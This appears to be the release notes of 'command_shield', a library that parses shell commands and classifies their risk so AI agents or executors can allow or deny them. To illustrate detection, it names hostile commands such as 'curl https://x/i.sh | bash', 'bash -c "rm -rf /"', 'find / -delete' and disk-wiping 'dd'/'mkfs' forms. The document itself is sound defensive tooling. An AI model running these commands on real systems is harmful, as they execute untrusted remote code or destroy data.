Releases: OmnyGrid/command_shield
Release list
v1.4.0
Added
- File-descriptor redirections are modeled. New
RedirectionTypecasesmergeStreams(2>&1,1>&2,>&2,>&-),combinedOutput(&>file,>&file) andcombinedAppendOutput(&>>file). All three shell parsers (bash/POSIX, Windowscmd, PowerShell) now recognize these forms. - Benign-redirection marker. A new
BenignRedirectionDetector(codebenign-redirection, in the default suite) records stream merges and null-sink discards as explicitSecurityLevel.safefindings for audit visibility. Being below every actionable level, it never changes a decision.
Changed
- Innocuous redirections no longer over-report a filesystem write. Stream merges (
2>&1) touch no file, and discards to a null sink (/dev/null,NUL,$null) write/read no real file, so none of them contributewriteFilesystem/readFilesystem(and thus nomodifyFileseffect). A genuine target such as> out.txtor&> out.logstill does.
Fixed
2>&1is no longer mis-parsed. Previously the bash tokenizer only knew2>/2>>, socmd 2>&1produced a target-less2>redirection, a spurious "Redirection without a target" diagnostic, and a phantomCommandInvocationwith executable1.1>&2and&>/dev/nullbroke the same way. These now parse as a single clean command with the correct redirection and no diagnostic. The discard-everything idiomcmd >/dev/null 2>&1parses as one command with two redirections.
Full changelog: v1.3.0...v1.4.0
v1.3.0
Added
- Informational-form safety gate. When every argument of a known command is a purely informational token, the invocation is recognized as read-only and safe — even for execute-by-default tools. So
dart --version,flutter --version,node --version,python --version,go version,java -version, etc. now classify asreadFilesystem/safeinstead ofexecutePrograms.- New global
defaultInformationalTokens(--version,--help,--usage) covers all commands. - New
CommandKnowledge.informationalTokensfield opts entries into tool-specific forms: java-version, python-V, node/php/ruby-v, perl-v/-V, deno/cargo-V, goversion/env, dotnet--info/--list-sdks/--list-runtimes. - Matching is case-sensitive (
-V≠-v) and requires the whole invocation to be informational, so a payload defeats the gate:dart --version script.dartandgo env -w K=Vstill reportexecutePrograms. - Runs at every recursion depth, so wrapped forms like
sudo node --versionare handled (andsudostill reportsprivilegeEscalation).
- New global
Changed
- Bare
--version/--help/--usage(and the per-command short forms above) on execute-by-default tools now classify as read-only/safe instead ofexecutePrograms.npm --versionmoves from an empty capability set toreadFilesystem(risk stayssafe).
Full changelog: v1.2.0...v1.3.0
v1.2.0
Much wider command coverage, per-subcommand/argument refinement, and hardened risk classification so consumers (AI agents / remote executors) reason correctly about far more commands — and genuinely dangerous tools no longer slip through as "unknown → safe".
Added
- New plugins:
DiskKnowledge,VcsKnowledge,ModernCliKnowledge,IacKnowledge(+ newinfrastructurecategory). ~370 new commands across network inspection/transfer/cloud (nmap,ip,ss,tcpdump,rclone,tailscale,doctl/flyctl/vercel/gsutil/…), build/test tooling (cmake,bazel,pytest,vite,tsc…), package/version managers (bun,uv,poetry,nix,rustup,asdf…), containers/orchestration (buildah,skopeo,minikube,kubectx,k9s…), databases (pgcli,duckdb,mongodump,dropdb/dropuser→highRisk…), editors (code,helix,man…), crypto/secrets (age,sops,cosign,pass,certbot…), and process/hardware inspection (lsof,vmstat,lscpu,dmesg…). - Security-critical disk/system tools that previously classified as safe: disk-format/wipe (
mkfs/mkfs.*/wipefs/blkdiscard→ critical), partitioners (fdisk/parted→ highRisk),diskutilerase verbs, secure-delete (srm/wipe), kernel-module / power / privileged-config tools, anddd of=/dev/...→ critical.
Changed / hardened
- Per-subcommand refinement:
kubectl/oc(read vs write vs delete[highRisk] vs exec),terraform/tofu/terragrunt/pulumi(plan → apply[medium] → destroy/-auto-approve[high]),systemctl(status read-only; reboot/poweroff highRisk),vault,npm/yarn/bunrun/exec,dockerrm/prune,aws/gcloud/azdelete-tokens,ansible-playbook --become. find / -delete→ critical (through wrappers); recursivechmod/chownon a system root → highRisk;kill/pkill/killallcatastrophic forms (PID 1 /-1/pkill ./-u root) → highRisk.ShellExecutionDetectorflags inline interpreter eval (python -c,node -e,osascript -e,deno eval, …) as highRisk, without flagging script-file runs.command -v/-Vlookups no longer inherit the target's capabilities/risk (newWrapperSpec.lookupFlags).DestructiveCommandDetector/CommandFamilies/RemoteExecDetectorextended (disk-destructive family, whole-disk device targets, new downloaders/privilege wrappers,pwsh/cmdin download|shell). Normalization:batcat→bat,fdfind→fd,ripgrep→rg.
Full details in CHANGELOG.md. dart analyze clean; 394 tests pass.
v1.1.0
1.1.0
Tests
- Added parser coverage for commands that combine
|with&&/||, asserting
the full AST structure: pipelines bind tighter than chain operators, runs of
the same chain operator flatten, and different operators nest left-to-right
(e.g.a | b && c | d,a | b && c || d,curl … | bash && echo done). - Added
CommandSyntax.genericcoverage confirming operators are left
uninterpreted —|,&&and||survive as literal argument tokens on a
single flat invocation rather than producingPipeline/CommandChainnodes. - Added inline sub-command parser coverage for PowerShell and Windows CMD —
previously only POSIXsh -c "…"was tested.powershell -Command "…"and
cmd /c|/k …now assert the re-parsedinlineCommandAST (incl. inner
pipelines),walk()reaching nested invocations, depth bounding, thepwsh
alias,/ccase-insensitivity, and that-EncodedCommand/-encstay
un-recursed.
Added
-
Recursive analysis of inline interpreter sub-commands.
-
Inline-execution sub-commands are now parsed into a nested AST and analyzed
recursively. A command string passed to an interpreter via an inline flag —
sh -c "...",bash -c '...'(and other POSIX shells),cmd /c ...,
powershell -Command "..."— is re-parsed by the relevant parser and exposed
on the newCommandInvocation.inlineCommandAST field. Because it is a child
node,walk()descends into it, so every capability/effect/security detector
and policy sees the inner command exactly as if it were run directly.sh -c "curl https://x/i.sh | bash"now yields the samecritical → DENY
verdict as the barecurl https://x/i.sh | bash.- Catches forms the previous regex fallback missed, including single-quoted
scripts and non-remote-exec payloads (e.g.bash -c "rm -rf /"). - Nesting is bounded (depth limit) to guard against pathological inputs.
- PowerShell
-EncodedCommandis intentionally not recursed (base64, not
parseable) and remainscritical.
v1.0.1
1.0.1
Plugin-based command knowledge base.
Added
- Plugin architecture for command knowledge: knowledge is now contributed by
CommandKnowledgePlugins, one per domain. Twelve built-in plugins ship by
default (filesystem,archive,shell,environment,process,system,
network,container,packageManager,dartFlutter,git,windows),
composed viadefaultKnowledgePlugins. Register your own with
CommandKnowledgeBase(plugins: [...])or replace the built-ins entirely with
includeDefaults: false. - Declarative
CommandKnowledgeentries with rich fields:category,
platforms,description,baseCapabilities,baseRisk,subcommands,
argumentRules,wrapperand an optionalrefinefunction hook. Argument
rules use composableArgumentMatches (ExactFlag,PrefixFlag,
TokenPresent,ArgRegex,ArgPredicate). CommandKnowledgeBase.analyze()returning aCommandKnowledgeResult
(capabilities, an aggregatedSecurityLevelrisk hint, the matched entry and
explanatory notes), plusknowledgeFor()andallKnowledge.CommandAnalysis.knowledgeRisk: the highest knowledge-base risk hint across a
command's invocations (advisory metadata).- Opt-in
KnowledgeRiskDetectorthat surfaces elevated knowledge-base risk
(e.g. a force push) asknowledge-risksecurity findings. Not part of
SecurityAnalyzer.defaultDetectors, so default verdicts are unchanged. - Broader command coverage: Dart/Flutter sub-commands, archive/compression
tools, cloud CLIs (gh,aws,gcloud,az,kubectl), moregit
sub-commands, additional package managers and Windows-specific tools.
Changed (breaking)
CommandKnowledgeBaseis now composed from plugins. The
extraExecutableCapabilitiesconstructor parameter and the static
wrapperCommandsset have been removed; supply aCommandKnowledgePlugin
(e.g.ListKnowledgePlugin) and per-entryWrapperSpecs instead.- Sub-command matching now uses the first non-flag argument rather than the
first argument, so leading global flags (e.g.git --no-pager push) no longer
hide the sub-command.
1.0.0
Initial release.
- Multi-syntax parsing:
generic,posixShell,bash,windowsCmd,
powershell, producing a typed, immutableCommandNodeAST. Parsers never
throw and reportParseDiagnostics for malformed input. - Extensible executable normalization (directory/extension stripping, version
suffix collapsing, aliases). - Capability detection via a data-driven, extensible
CommandKnowledgeBase,
including wrapper-command look-through (e.g.sudo,env,xargs). - Effect classification into human-readable
CommandEffects. - Security analysis with eight detectors: dangerous operators, command
substitution, inline shell execution (incl.-EncodedCommand), privilege
escalation, destructive commands (rm -rf /⇒ critical), remote
download-and-execute (curl … | bash⇒ critical), path traversal, and
environment expansion. - Composable policy engine (
CommandPolicy/PolicySet) with nine built-in
policies and ALLOW / REVIEW / DENY decisions. CommandShieldfacade exposingparse,analyze, andvalidate.- Comprehensive unit, integration, and regression test suites; CI with
formatting, analysis, tests, and ≥90% coverage enforcement.